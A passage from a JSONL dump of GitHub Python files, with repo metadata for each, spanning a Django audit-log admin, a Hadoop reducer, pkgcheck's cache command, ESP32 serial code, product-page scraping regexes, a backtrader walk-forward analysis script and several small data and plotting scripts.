%s
\" % key\n result += \"\" + html_diff(diff[key]['prev'], diff[key]['current'], EFFICIENCY) + \"
\"\n except IndexError:\n result = \"\"\n except ValueError:\n result = \"\"\n return result\n\n\ndef _get_diff_from_objects(obj):\n prev_obj = \\\n Version.objects.filter(object_id_int=obj.object_id_int, type=obj.type, content_type=obj.content_type).exclude(\n serialized_data=obj.serialized_data).order_by(\n '-revision__date_created')[0]\n prev_version = json.loads(prev_obj.serialized_data)\n current_version = json.loads(obj.serialized_data)\n diff = _compare_objects(current_version[0]['fields'], prev_version[0]['fields'])\n return diff\n\n\ndef _compare_objects(current_version, prev_version):\n result = {}\n for key in current_version:\n if prev_version.has_key(key) and current_version[key] != prev_version[key]:\n result[key] = {}\n result[key]['current'] = current_version[key]\n result[key]['prev'] = prev_version[key]\n return result\n\n\nadmin.site.register(Version, AuditLogAdmin)\n","repo_name":"AttractorSoftware/django-reversion-compare-auditlog","sub_path":"auditlog/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":3590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"69995072392","text":"#!/usr/bin/env python3\n\"\"\"\n\nReduce 0.\nOutput the number of documents to the txt file.\n\"\"\"\nimport sys\nfrom pathlib import Path\n\n\ndef main():\n doc_count = 0\n for line in sys.stdin:\n curr_count = int(line.partition(\"\\t\")[2])\n doc_count += curr_count\n print(doc_count)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"tianhaogu/Scalable-Wiki-Search-Engine","sub_path":"hadoop/inverted_index/reduce0.py","file_name":"reduce0.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"22891771413","text":"import os\n\nfrom snakeoil.cli import arghparse\nfrom snakeoil.osutils import pjoin\n\nfrom .. import base, const\nfrom ..addons import init_addon\nfrom ..addons.caches import CachedAddon\nfrom .argparse_actions import CacheNegations\nfrom .argparsers import repo_argparser\n\ncache = arghparse.ArgumentParser(\n prog=\"pkgcheck cache\",\n description=\"perform cache operations\",\n parents=(repo_argparser,),\n docs=\"\"\"\n Various types of caches are used by pkgcheck. This command supports\n running operations on them including updates and removals.\n \"\"\",\n)\ncache.add_argument(\n \"--cache-dir\",\n type=arghparse.create_dir,\n default=const.USER_CACHE_DIR,\n help=\"directory to use for storing cache files\",\n)\ncache_actions = cache.add_mutually_exclusive_group()\ncache_actions.add_argument(\n \"-l\", \"--list\", dest=\"list_cache\", action=\"store_true\", help=\"list available caches\"\n)\ncache_actions.add_argument(\n \"-u\", \"--update\", dest=\"update_cache\", action=\"store_true\", help=\"update caches\"\n)\ncache_actions.add_argument(\n \"-R\", \"--remove\", dest=\"remove_cache\", action=\"store_true\", help=\"forcibly remove caches\"\n)\ncache.add_argument(\n \"-f\", \"--force\", dest=\"force_cache\", action=\"store_true\", help=\"forcibly update/remove caches\"\n)\ncache.add_argument(\n \"-n\", \"--dry-run\", action=\"store_true\", help=\"dry run without performing any changes\"\n)\ncache.add_argument(\"-t\", \"--type\", dest=\"cache\", action=CacheNegations, help=\"target cache types\")\n\n\n@cache.bind_pre_parse\ndef _setup_cache_addons(parser, namespace):\n \"\"\"Load all addons using caches and their argparser changes before parsing.\"\"\"\n for addon in base.get_addons(CachedAddon.caches):\n addon.mangle_argparser(parser)\n\n\n@cache.bind_early_parse\ndef _setup_cache(parser, namespace, args):\n if namespace.target_repo is None:\n namespace.target_repo = namespace.config.get_default(\"repo\")\n return namespace, args\n\n\n@cache.bind_final_check\ndef _validate_cache_args(parser, namespace):\n enabled_caches = {k for k, v in namespace.cache.items() if v}\n cache_addons = (addon for addon in CachedAddon.caches if addon.cache.type in enabled_caches)\n # sort caches by type\n namespace.cache_addons = sorted(cache_addons, key=lambda x: x.cache.type)\n\n namespace.enabled_caches = enabled_caches\n\n\n@cache.bind_main_func\ndef _cache(options, out, err):\n if options.remove_cache:\n cache_obj = CachedAddon(options)\n cache_obj.remove_caches()\n elif options.update_cache:\n for addon_cls in options.pop(\"cache_addons\"):\n init_addon(addon_cls, options)\n else:\n # list existing caches\n cache_obj = CachedAddon(options)\n repos_dir = pjoin(options.cache_dir, \"repos\")\n for cache_type in sorted(options.enabled_caches):\n paths = cache_obj.existing_caches[cache_type]\n if paths:\n out.write(out.fg(\"yellow\"), f\"{cache_type} caches: \", out.reset)\n for path in paths:\n repo = str(path.parent)[len(repos_dir) :]\n # non-path repo ids get path separator stripped\n if repo.count(os.sep) == 1:\n repo = repo.lstrip(os.sep)\n out.write(repo)\n\n return 0\n","repo_name":"pkgcore/pkgcheck","sub_path":"src/pkgcheck/scripts/pkgcheck_cache.py","file_name":"pkgcheck_cache.py","file_ext":"py","file_size_in_byte":3235,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"27"} +{"seq_id":"70453598792","text":"import sys\ninput = sys.stdin.readline\n\ne = list(input())\nstack = []\ncnt = 0\nfor i in range(len(e)):\n if e[i] == '(':\n stack.append(e[i])\n elif e[i] == ')':\n if e[i-1] == '(':\n stack.pop()\n cnt += len(stack)\n else:\n stack.pop()\n cnt+=1\n\nprint(cnt)\n","repo_name":"ssw6750/AlgorithmStudy","sub_path":"백준/자료구조/10799.py","file_name":"10799.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"10555337451","text":"# code: gb2312 # 在串口屏中使用的字库的编码是gb2312\nfrom machine import UART # 导入串口模块\nimport time # 导入时间模块\n\nuart = UART(2, 115200) # 初始化串口2，并设置波特率为115200\n\nuart.write(b\"n0.val=700\") # 以二进制形式发送修改文本\ntime.sleep(2) # 休息两秒，此行和上面那个导入时间模块的代码删了也行\n # 加上是为了在回显中能让修改式和结束符能分行\nuart.write(b\"\\xff\\xff\\xff\") # 发送结束符\n\nuart.write(b\"n0.val=600\")\ntime.sleep(2) \nuart.write(b\"\\xff\\xff\\xff\")\n\nprint(1) # 打印个1以表结束","repo_name":"2236721325/esp32_learn","sub_path":"learn/learn-main/17.串口通信.py","file_name":"17.串口通信.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"2413678357","text":"import re\nimport codecs\nimport markdown\nfrom mdx_gfm import GithubFlavoredMarkdownExtension as gfm\n\nallnote_tags = {\"inline-code\": \"§\", \"multiline-code\": \"§§\"}\nmarkdown_tags = {\"inline-code\": \"`\", \"multiline-code\": \"```\"}\nhtml_tags = {}\nregex = {\"is-inline-code\": r\"\" + allnote_tags[\"inline-code\"] + \"(.+)\" + allnote_tags[\"inline-code\"],\n \"process-inline-code\": r\"(\" + allnote_tags[\"inline-code\"] + \"([^\" + allnote_tags[\"inline-code\"] + \"]+)\" + allnote_tags[\"inline-code\"] + \")+\",\n \"is-multiline-code\": r\"\" + allnote_tags[\"multiline-code\"]}\n\n\n# Todo überarbeiten\ndef process_allnote(input):\n output = \"\"\n input_line_by_line = input.split(\"\\n\")\n for line in input_line_by_line:\n markup = get_mark_up(line)\n line_without_markup = trim_mark_up(line)\n if is_inline_code(line):\n line = process_inline_code(line)\n if is_multiline_code(line):\n line = process_multiline_code(line)\n if is_ordered_list(line):\n line = process_ordered_list(line)\n\n output += line + \"\\n\"\n\n return output\n\n\n# Todo überarbeiten\ndef process_sublist(input):\n output = \"\"\n input_line_by_line = input.split(\"\\n\")\n list_level_current = 0\n list_level_line = 0\n for line in input_line_by_line:\n markup = get_mark_up(line)\n line_without_markup = trim_mark_up(line)\n if is_unordered_list(line):\n list_level_line = len(markup)\n if list_level_current == list_level_line:\n if list_level_line > 1:\n line = \"- \\n\" + \"
- \" + line_without_markup + \" \"\n elif is_superlist(list_level_current, list_level_line):\n line = \"
\\s*1/(.*?)',re.I|re.M|re.S)\npage_every = re.compile(r'1-(\\d+)条',re.I|re.S|re.M)\npage_total = re.compile(r'共(\\d+)条',re.I|re.S|re.M)\n\n\nitem_brand_model = re.compile(r'(.*?) ',re.I|re.M|re.S)\n\nitem_store_desc = re.compile(r'',re.I|re.M|re.S)\n\nitem_store_ad = re.compile(r'(.*?)',re.I|re.M|re.S)\n\nitem_url = re.compile(r'\"http://www.amazon.cn/product-reviews/(.*?)\"\\s*>',re.I|re.M|re.S)\n\nitem_thumb = re.compile(r'src=\"(http://img\\d+.360buyimg.com/n5/.*?.jpg)\"',re.I|re.M|re.S)\n\nitem_category = re.compile(r'href=\"http://www.360buy.com/products/\\d+-\\d+-\\d+.html\">(.*?)',re.I|re.M|re.S)\n\nitem_pingpai = re.compile(r'品牌:(.*?),',re.I|re.M|re.S)\n\nitem_current_price = re.compile(r'(.*?)',re.I|re.S|re.M)\n\ndef item_price_image(shangping_id):\n\treturn \"http://price.360buyimg.com/gp%d,1.png\"%int(shangping_id)\n\ndef item_shangping(url):\n return re.compile(r'(.*?)',re.I|re.M|re.S)\n\ndef str2utf(str):\n if not str:\n return ''\n else:\n return str.decode('gb18030','ignore').encode('utf8')\n\ndef extract(rule, page, single = True):\n res = rule.findall(page)\n if res:\n if single:\n return res[0]\n else:\n return res\n else:\n return None\n\ndef gen_page(url,page_id):\n return url.replace(\"page=1\",\"page=%d\"%int(page_id))\n\ndef get_item_images(page):\n div = re.compile(r'(http://ec\\d+.images-amazon.com/images/I/.*?_AA300_.jpg)',re.I|re.M|re.S)\n div_html = div.findall(page)\n if div_html:\n return div_html[0]\n else:\n return None\n\ndef get_shangping_fenlei(title):\n _split = title.split('-')\n return (''.join(_split[0:-2]),_split[-2])\n\n\n","repo_name":"guangfeng/spy-sites","sub_path":"site_amazon_cn/rule.py","file_name":"rule.py","file_ext":"py","file_size_in_byte":2142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"14458075357","text":"import torch\nfrom mmdet.apis import inference_detector, init_detector\nimport IPython\nimport cv2\nfrom io import BytesIO\nimport time\nimport PIL\nimport warnings\nimport numpy as np\nwarnings.filterwarnings('ignore')\n\n\ndef show_image(image_array, model, fps_s, format_='jpeg'):\n f = BytesIO()\n result = inference_detector(model, image_array)\n result[0][:, -1] = 0\n img_out = model.show_result(\n image_array,\n result,\n score_thr=0.35,\n show=False,\n font_scale=0.0,\n thickness=3,\n bbox_color='green',\n )\n fps = fps_s[-1] if fps_s else 0.0\n cv2.putText(img_out, str(fps)[:5], (1200, 20),\n cv2.FONT_HERSHEY_COMPLEX, 0.9, (0, 255, 0))\n \n img_out = cv2.cvtColor(img_out, cv2.COLOR_BGR2RGB)\n\n pil_img = PIL.Image.fromarray(img_out)\n pil_img.save(f, format=format_)\n IPython.display.display(IPython.display.Image(data=f.getvalue()))\n \n \ndef eval_video_stream(video_path, model_path, config_path, device):\n model = init_detector(config_path, model_path, device=device)\n video = cv2.VideoCapture(video_path)\n fpss = video.get(cv2.CAP_PROP_FPS)\n current_frame_num = 0\n fps_s = []\n try:\n\t while(True):\n\t t1 = time.time()\n\t video.set(cv2.CAP_PROP_POS_FRAMES, current_frame_num)\n\t _, frame = video.read()\n\t if frame is None:\n\t IPython.display.clear_output(wait=False)\n\t print('mean fps:', np.mean(fps_s))\n\t break\n\t show_image(frame, model, fps_s)\n\t t2 = time.time()\n\t lasts_frames = (t2 - t1)*fpss\n\t current_frame_num += lasts_frames\n\t fps_s.append(1 / (t2 - t1))\n\t IPython.display.clear_output(wait=True)\n except Exception:\n video.release()\n IPython.display.clear_output(wait=False)\n print(\"Stream stopped\")\n \n \n","repo_name":"ENOT-AutoDL/ENOTDataSphere","sub_path":"mmdet_tools/demo/video_demo.py","file_name":"video_demo.py","file_ext":"py","file_size_in_byte":1861,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"28"}
+{"seq_id":"9275664091","text":"# https://community.backtrader.com/topic/501/walk-forward-analysis-demonstration\nfrom sklearn.model_selection import TimeSeriesSplit\nfrom sklearn.utils import indexable\nfrom sklearn.utils.validation import _num_samples\nimport numpy as np\n\n\ndef createWFAReport(simParams, simulations):\n # Create simulation report format\n reportColumns = ['grossProfit', 'grossAverageProfit', 'maxProfit',\n 'grossLoss', 'grossAverageLoss', 'maxLoss',\n 'netProfit', 'averageNetProfit', 'NAR',\n 'recoveryFactor', 'MDDLength', 'MDD',\n 'wonTrade', 'lossTrade', 'tradingTime',\n 'averageTradeTime', 'TradeNumber', 'maxValue',\n 'minValue', 'totalCommission']\n simulationReport = pd.DataFrame(columns=reportColumns)\n\n # Loop Simulations to create summary\n for simulation in simulations:\n '''some Calculation is done here'''\n return simReport\n\n\ndef WFASplit(self, trainBy='12m', testBy='3m', loopBy='m', overlap=True):\n startDate = self.index[0]\n endDate = self.index[-1]\n if trainBy[-1] is 'm':\n trainTime = relativedelta(months=int(trainBy[:-1])) # 取得训练时长，几个月\n else:\n raise ValueError\n if testBy[-1] is 'm':\n testTime = relativedelta(months=int(testBy[:-1])) # 取得测试时长，几个月\n else:\n raise ValueError\n assert ((relativedelta(endDate, startDate) - trainTime).days) > 0\n\n if loopBy is 'm':\n # 似乎是训练开始时间列表而不是测试开始时间。从startDate开始，以测试时长为步长，依次增加，直到endDate-trainTime\n test_starts = zip(rrule(MONTHLY, dtstart=startDate,\n until=endDate - trainTime, interval=int(testBy[:-1])))\n else:\n raise ValueError\n\n for i in test_starts:\n startD = i[0] # 转成日期，i是tuple他的第0个元素是日期\n endD = i[0] + trainTime\n yield (self[(self.index >= startD) & (self.index < endD)],\n self[(self.index >= endD) & (self.index < endD + testTime)])\n return None\n\n\ndef runTrain(trainTestGenerator, _ind, stockName):\n WFATrainResult = []\n for train, test in trainTestGenerator:\n logger.debug('{} Training Data:{} to {}'.format(stockName, pd.DatetimeIndex.strftime(\n train.head(1).index, '%Y-%m-%d'), pd.DatetimeIndex.strftime(train.tail(1).index, '%Y-%m-%d')))\n # Generate Indicator ResultSet\n trainer = bt.Cerebro(cheat_on_open=True,\n stdstats=False, optreturn=False)\n trainer.broker.set_cash(10000)\n # Add Commission\n IB = params['commission'](commission=0.0)\n trainer.broker.addcommissioninfo(IB)\n # Below Analyzer are used to calculate the Recovery Ratio\n trainer.addanalyzer(btanalyzers.TradeAnalyzer, _name='TradeAn')\n trainer.addanalyzer(\n recoveryAnalyzer, timeframe=params['analysisTimeframe'], _name='recoveryFac')\n trainer.addanalyzer(WFAAn, _name='WFAAna')\n trainer.addanalyzer(btanalyzers.TimeReturn,\n timeframe=bt.TimeFrame.Months, _name='TR')\n # SetBroker\n trainer.broker.set_checksubmit(False)\n # Copy for tester\n tester = deepcopy(trainer)\n # Optimize Strategy\n trainingFile = '{}/WFA'\n trainer.optstrategy(trainingIdea,\n inOrOut=(params['inOrOut'],),\n selfLog=(params['selfLog'],),\n indName=(row.indicator,),\n indFormula=(_ind['formula'],),\n entryExitPara=(_ind['entryExitParameters'],),\n indOutName=(_ind['indValue'],),\n nonOptParams=(None,),\n resultLocation=(params['resultLocation'],),\n timeString=(params['timeString'],),\n market=(row.market,),\n **optt)\n trainData = bt.feeds.PandasData(dataname=train)\n # Add a subset of data.\n trainer.adddata(trainData)\n optTable = trainer.run()\n final_results_list = []\n for run in optTable:\n for x in run:\n x.params['res'] = x.analyzers.WFAAna.get_analysis()\n final_results_list.append(x.params)\n\n _bestWFA = pd.DataFrame.from_dict(final_results_list, orient='columns').sort_values(\n 'res', ascending=False).iloc[0].to_dict()\n bestTrainParams = {key: _bestWFA[key] for key in _bestWFA if key not in [\n 'market', 'inOrOut', 'resultLocation', 'selfLog', 'timeString', 'res']}\n bestTrainParams = pd.DataFrame(bestTrainParams, index=[0])\n bestTrainParams['trainStart'] = train.iloc[0].name\n bestTrainParams['trainEnd'] = train.iloc[-1].name\n bestTrainParams['testStart'] = test.iloc[0].name\n bestTrainParams['testEnd'] = test.iloc[-1].name\n WFATrainResult.append(bestTrainParams)\n WFATrainResult = pd.concat(WFATrainResult)\n return WFATrainResult\n\n\ndef runTest(params, WFATrainResult, _ind, datafeed, stockName):\n # Generate Indicator ResultSet\n tester = bt.Cerebro(cheat_on_open=True)\n tester.broker.set_cash(10000)\n # Add Commission\n IB = params['commission'](commission=0.0)\n tester.broker.addcommissioninfo(IB)\n # SetBroker\n tester.broker.set_checksubmit(False)\n logger.debug('{} Start Testing'.format(stockName))\n OneSimHandler = logging.FileHandler(filename='{}/simulation/{}_{}_test.log'.format(\n params['resultLocation'], str(stockName), str(row.indicator)))\n OneSimHandler.setLevel(logging.DEBUG)\n OneSimHandler.setFormatter(logging.Formatter(\n \"%(asctime)s:%(relativeCreated)d - %(message)s\"))\n oneLogger.addHandler(OneSimHandler)\n tester.addstrategy(trainingIdea,\n inOrOut=params['inOrOut'],\n selfLog=params['selfLog'],\n indName=row.indicator,\n indFormula=_ind['formula'],\n entryExitPara=_ind['entryExitParameters'],\n indOutName=_ind['indValue'],\n nonOptParams=None,\n resultLocation=params['resultLocation'],\n timeString=params['timeString'],\n market=market,\n WFATestParams=WFATrainResult)\n data = bt.feeds.PandasData(dataname=datafeed)\n tester.adddata(data, name=stockName)\n # Add analyzers for Tester\n tester.addanalyzer(btanalyzers.DrawDown, _name='MDD')\n tester.addanalyzer(btanalyzers.TradeAnalyzer, _name='TradeAn')\n tester.addanalyzer(btanalyzers.SQN, _name='SQN')\n tester.addanalyzer(\n recoveryAnalyzer, timeframe=params['analysisTimeframe'], _name='recoveryFac')\n tester.addanalyzer(ITDDAnalyzer, _name='ITDD')\n tester.addanalyzer(simpleAn, _name='simpleAna')\n tester.addanalyzer(btanalyzers.TimeReturn,\n timeframe=bt.TimeFrame.Months, _name='TR')\n # Run and Return Cerebro\n cere = tester.run()[0]\n\n _report = cere.analyzers.simpleAna.writeAnalysis(bnhReturn)\n oneLogger.removeHandler(OneSimHandler)\n if params['plotGraph']:\n plotSimGraph(tester, params, stockName, row.indicator)\n return _report\n\n\n# 程序入口\n######################\nif __name__ == \"__main__\":\n session = 'WinsWFAProd'\n stockList, indicatorDict, params = jsonConfigMap(session)\n params['timeString'] = '0621_113833'\n params['topResult'] = pd.read_csv(\n '{}{}/consoReport.csv'.format(params['resultLocation'], params['timeString']), index_col=0)\n params['resultLocation'] += params['timeString'] + '/WFA'\n simulations = []\n\n try:\n # Create Folder\n shutil.rmtree(params['resultLocation'])\n except FileNotFoundError:\n pass\n except PermissionError:\n pass\n os.makedirs(params['resultLocation'], exist_ok=True)\n for element in ['order', 'trade', 'mr', 'ohlc', 'simulation', 'bestTrain', 'graph']:\n os.makedirs(params['resultLocation'] + '/' + element, exist_ok=True)\n # Create master Log\n handler = logging.FileHandler(\n filename='{}/Master.log'.format(params['resultLocation']))\n handler.setFormatter(logging.Formatter(\n '%(asctime)s:%(name)s - %(levelname)s {}- %(message)s'))\n logger = logging.getLogger()\n logger.setLevel(logging.DEBUG)\n logger.addHandler(handler)\n # Create OptReport Log\n reportHandler = logging.FileHandler(\n filename='{}/optReport.csv'.format(params['resultLocation']))\n reportHandler.setFormatter(logging.Formatter('%(message)s'))\n reportHandler.setLevel(logging.INFO)\n reportLogger = logging.getLogger('report')\n reportLogger.addHandler(reportHandler)\n simResultColumns = ['stockName', 'market', 'indicator',\n 'grossProfit', 'grossAverageProfit', 'maxProfit',\n 'grossLoss', 'grossAverageLoss', 'maxLoss',\n 'netProfit', 'averageNetProfit', 'NAR', 'profitFactor',\n 'recoveryFactor', 'MDDLength', 'MDD',\n 'selfMDD', 'winRate', 'tradingTimeRatio',\n 'averageTradingBar', 'tradeNumber', 'maxValue',\n 'minValue', 'initialv', 'totalCommission',\n 'barNumber', 'expectancy100', 'bnhReturn', 'bnhRatio']\n reportLogger.info(str(simResultColumns).strip(\n \"[]\").replace(\"'\", \"\").replace(\" \", \"\"))\n\n # Create Simulation Log\n oneLogger = logging.getLogger('oneLogger')\n oneLogger.propagate = False\n postHandler = logging.StreamHandler()\n postHandler.setLevel(logging.INFO)\n if params['selfLog']:\n oneLogger.setLevel(logging.DEBUG)\n else:\n oneLogger.setLevel(logging.INFO)\n oneLogger.addHandler(postHandler)\n # Record Start Time\n startTime = time.time()\n for row in params['topResult'].itertuples():\n simParams = pd.DataFrame(columns=['startTime', 'endTime', 'Parameter'])\n indicator = indicatorDict[row.indicator]\n stockName = row.stockName\n market = row.market\n try:\n optt = eval(indicator['optParam'])\n except:\n logger.info(\n '{}: Indicator does not have WFA parameters and skipped'.format(row.indicator))\n continue\n datafeed = feeder(stockName, market, params) # 这里应该是dataframe\n bnhReturn = round(\n datafeed.iloc[-1]['close'] - datafeed.iloc[0]['open'], 2)\n # Extract Feeder from Data to save time for multi-simulation\n print('Start WFA for {}-{} from {} to {}'.format(stockName,\n row.indicator, datafeed.iloc[0].name, datafeed.iloc[-1].name))\n\n # 重要，数据划分，datafeed是dataframe，包含k线数据\n trainTestGenerator = WFASplit(\n datafeed, trainBy='8m', testBy='8m', loopBy='m')\n\n _ind = indicatorDict[row.indicator]\n # Training 样本内训练\n WFATrainResult = runTrain(trainTestGenerator, _ind, stockName)\n\n WFATrainResult = pd.DataFrame.from_records(WFATrainResult)\n WFATrainResult.to_csv('{}/bestTrain/{}_{}_train.csv'.format(\n params['resultLocation'], stockName, row.indicator), index=False)\n\n # TESTING 样本外测试\n _report = runTest(params, WFATrainResult, _ind, datafeed, stockName) # datafeed是dataframe\n\n # Consolidate T\n if _report[0] is not None:\n reportLogger.info(str(_report).strip(\"[]\").strip(\n \" \").replace(\" \", \"\").replace(\"'\", \"\"))\n simulations.append(_report)\n\n # After simulations\n simulations = pd.DataFrame(simulations)\n reportColumns = ['stockName', 'market', 'indicator',\n 'grossProfit', 'grossAverageProfit', 'maxProfit',\n 'grossLoss', 'grossAverageLoss', 'maxLoss',\n 'netProfit', 'averageNetProfit', 'NAR',\n 'profitFactor', 'recoveryFactor', 'MDDLength',\n 'selfMDD', 'winRate', 'tradingTimeRatio',\n 'averageTradingBar', 'tradeNumber', 'maxValue',\n 'minValue', 'initialv', 'totalCommission',\n 'barNumber', 'expectancy100', 'bnhReturn',\n 'bnhRatio']\n simulations.columns = reportColumns\n consoResult = cr.scoring(simulations)\n consoResult = consoResult.sort_values(['res'], ascending=False)\n consoResult.sort_values('res').to_csv(\n '{}/optReport.csv'.format(params['resultLocation']), index=False)\n\n timeRequired = time.time() - startTime\n print('timeRequired={:.2f}s'.format(timeRequired))\n","repo_name":"vcfriend/python-demo","sub_path":"myQuant/bt_backtrader/think_in_backtrader/docs/参考资料/扫地僧backtrader教程全套源码需密码1.163/wfBarton05.py","file_name":"wfBarton05.py","file_ext":"py","file_size_in_byte":12848,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"28"}
+{"seq_id":"33857303644","text":"import itertools\nfrom sklearn.metrics import confusion_matrix\nimport matplotlib.pyplot as plt \nimport numpy as np\nimport os\ndef plot_train_history(train_df, valid_df,save_path):\n\n #Loss graph\n fig = plt.figure(figsize=(10,5))\n ax = fig.add_subplot(1,2,1)\n ax.plot(train_df['loss'].tolist(), label='train loss',color =\"blue\")\n ax.plot(valid_df['loss'].tolist(), label='valid loss', color='Red')\n\n plt.xlim(0,len(train_df))\n plt.legend(fontsize=12, loc='upper right')\n plt.title('Loss graph', fontsize=15)\n plt.xlabel('epoch', fontsize=13)\n plt.ylabel('loss', fontsize=13)\n\n plt.savefig(os.path.join(save_path, 'loss_graph.png'))\n print(\"save {}\".format(os.path.join(save_path, 'loss_graph.png')))\n \n #Acc graph\n ax = fig.add_subplot(1,2,2)\n ax.plot(train_df['acc'].tolist(), label='train acc',color =\"blue\")\n ax.plot(valid_df['acc'].tolist(), label='valid acc', color='Red')\n\n plt.xlim(0,None)\n plt.legend(fontsize=12, loc='upper right')\n plt.title('Acc graph', fontsize=15)\n plt.xlabel('epoch', fontsize=13)\n plt.ylabel('acc', fontsize=13)\n\n\n plt.savefig(os.path.join(save_path, 'acc_graph.png'))\n\n print(\"save {}\".format(os.path.join(save_path, 'acc_graph.png')))\n \n\ndef plot_confusion_matrix(cm, classes,\n title='Confusion matrix',\n cmap=plt.cm.Blues):\n \"\"\"\n This function prints and plots the confusion matrix.\n Normalization can be applied by setting `normalize=True`.\n \"\"\"\n fig=plt.figure(figsize=(10,5))\n plt.subplot(121)\n plt.imshow(cm, interpolation='nearest', cmap=cmap)\n\n plt.title(title)\n plt.colorbar()\n tick_marks = np.arange(len(classes))\n plt.xticks(tick_marks, classes, rotation=45)\n plt.yticks(tick_marks, classes)\n\n fmt = 'd'\n thresh = cm.max() / 2.\n for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n plt.text(j, i, format(cm[i, j], fmt),\n horizontalalignment=\"center\",\n color=\"white\" if cm[i, j] > thresh else \"black\")\n\n plt.ylabel('True label')\n plt.xlabel('Predicted label')\n \n \n plt.subplot(122)\n cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n plt.imshow(cm, interpolation='nearest', cmap=cmap)\n plt.title(title)\n plt.colorbar()\n tick_marks = np.arange(len(classes))\n plt.xticks(tick_marks, classes, rotation=45)\n plt.yticks(tick_marks, classes)\n\n fmt = '.2f' \n thresh = cm.max() / 2.\n for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n plt.text(j, i, format(cm[i, j], fmt),\n horizontalalignment=\"center\",\n color=\"white\" if cm[i, j] > thresh else \"black\")\n\n plt.ylabel('True label')\n plt.xlabel('Predicted label')\n \n plt.tight_layout()\n plt.show()","repo_name":"ginkyenglee/Explaining_Decision_of_Time_Series_Data","sub_path":"visualization.py","file_name":"visualization.py","file_ext":"py","file_size_in_byte":2841,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"28"}
+{"seq_id":"35447844075","text":"class node:\n def __init__(self):\n self.children = []\n self.meta = []\n self.value = 0\nwith open('8.txt', 'r') as txtfile: r = txtfile.readline().strip('\\n').split(' ')\nr.reverse()\ndef process(data):\n control = [int(data.pop()), int(data.pop())]\n n = node()\n for c in range(control[0]):\n n.children.append(process(data))\n for m in range(control[1]):\n n.meta.append(int(data.pop()))\n if n.meta[-1] <= len(n.children): n.value += n.children[n.meta[-1]-1].value\n if len(n.children) == 0: n.value = sum(n.meta)\n return n\nprint(process(r).value)\n","repo_name":"mcnutty26/aoc","sub_path":"2018/08/8-2.py","file_name":"8-2.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"8649539692","text":"from create_data import create_data\nfrom get_freqs import get_freqs\nfrom autocorrelation import autocorrelation\nfrom hff import get_hff, get_fft, smooth_fft\nfrom chi_squared import get_prob\n# from significance import get_significance\nfrom chisquared_stuff import get_significance\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n#############################\n# # # C O N S T A N T S # # #\n#############################\ntotal_time = 1 # Generating signal\ntime_interval = 0.001 # Generating signal\nm_phi = 10 * np.pi # Generating signal\nm_e = 1 # Generating signal\ng_gamma = 1 # Generating signal\ng_e = 1 # Generating signal\nalpha = 1 # Generating signal\ndensity = 1 # Generating signal\nc = 1 # Generating signal\nh_bar = 1 # Generating signal\nmean = 0 # Generating signal\ndeviation = 0.05 # Generating signal\nuse_noise = True # Generating signal\ni = 1 # Autocorrelation\nthreshold = 0.5 # Dft and psd\n\n##---------------------------##\n##------ CHOOSE METHOD ------##\n##---------------------------##\nmethod = 2 # Run method 1 or 2\n # Method 1: Correlate noisy function and apply FT\n # Method 2: High Frequency Features (HFF) detection method\n\n##---------------------------##\n##---- GENERATING SIGNAL ----##\n##---------------------------##\nsignal = create_data(total_time=total_time, time_interval=time_interval, m_phi=m_phi, m_e=m_e, g_gamma=g_gamma, g_e=g_e, alpha=alpha, density=density,\n c=c, h_bar=h_bar, mean=mean, deviation=deviation, use_noise=use_noise)\n\nplt.plot(signal[0], signal[1])\nplt.title(f\"Raw signal. Error deviation: {deviation}\")\nplt.ylabel(\"Energy\")\nplt.xlabel(\"Time\")\nplt.show()\n\nif method == 1:\n ##----------------------------##\n ##---- AUTOCORRELATING IT ----##\n ##----------------------------##\n autocorrelated_signal = autocorrelation(signal, i=i)\n\n plt.plot(autocorrelated_signal[0], autocorrelated_signal[1])\n plt.title(\"Signal after autocorrelation\")\n plt.ylabel(\"Correlation\")\n plt.xlabel(\"Shift amount [t]\")\n plt.show()\n\n ##---------------------------##\n ##---- FOURIER TRANSFORM ----##\n ##---------------------------##\n fhat, psd, freqs = get_freqs(signal, threshold)\n\n fig, ax = plt.subplots(2,1)\n ax[0].plot(np.arange(len(fhat)), fhat, label=\"Power spectrum density\")\n ax[0].set_xlabel(\"Frequency\")\n ax[0].set_ylabel(\"Magnitude\")\n\n ax[1].scatter(freqs, np.ones(len(freqs)), label=\"peaks\")\n ax[1].set_xlabel(\"Frequency\")\n\n ax[0].legend()\n ax[1].legend()\n ax[0].set_title(\"Dft results\")\n\n plt.show()\n\n fourier_conj = np.conj(fhat)\n fourier2 = [np.real(fhat[i]*fourier_conj[i]) for i in range(len(fhat))]\n\n plt.plot(np.arange(len(fourier2)), fourier2)\n plt.title(\"fourier^2\")\n plt.show()\n\n significance = get_significance(fhat, freqs[0])\n print(\"SIGNIFICANCE\", significance)\n\nelif method == 2:\n delta = 2 # smoothing parameter, it may be worth making this bigger with higher deviation\n idx, freq = get_hff(np.array(signal), delta=delta)\n\n print(f'Estimated frequency: {freq}')\n\n f, amp = get_fft(signal[1]**2, time_interval)\n\n fig, ax = plt.subplots(1)\n ax.plot(f, amp)\n ax.set_yscale('log')\n ax.set_ylabel('Coefficient')\n ax.set_xlabel('Frequencies')\n ax.set_title(\"Fourier transform of 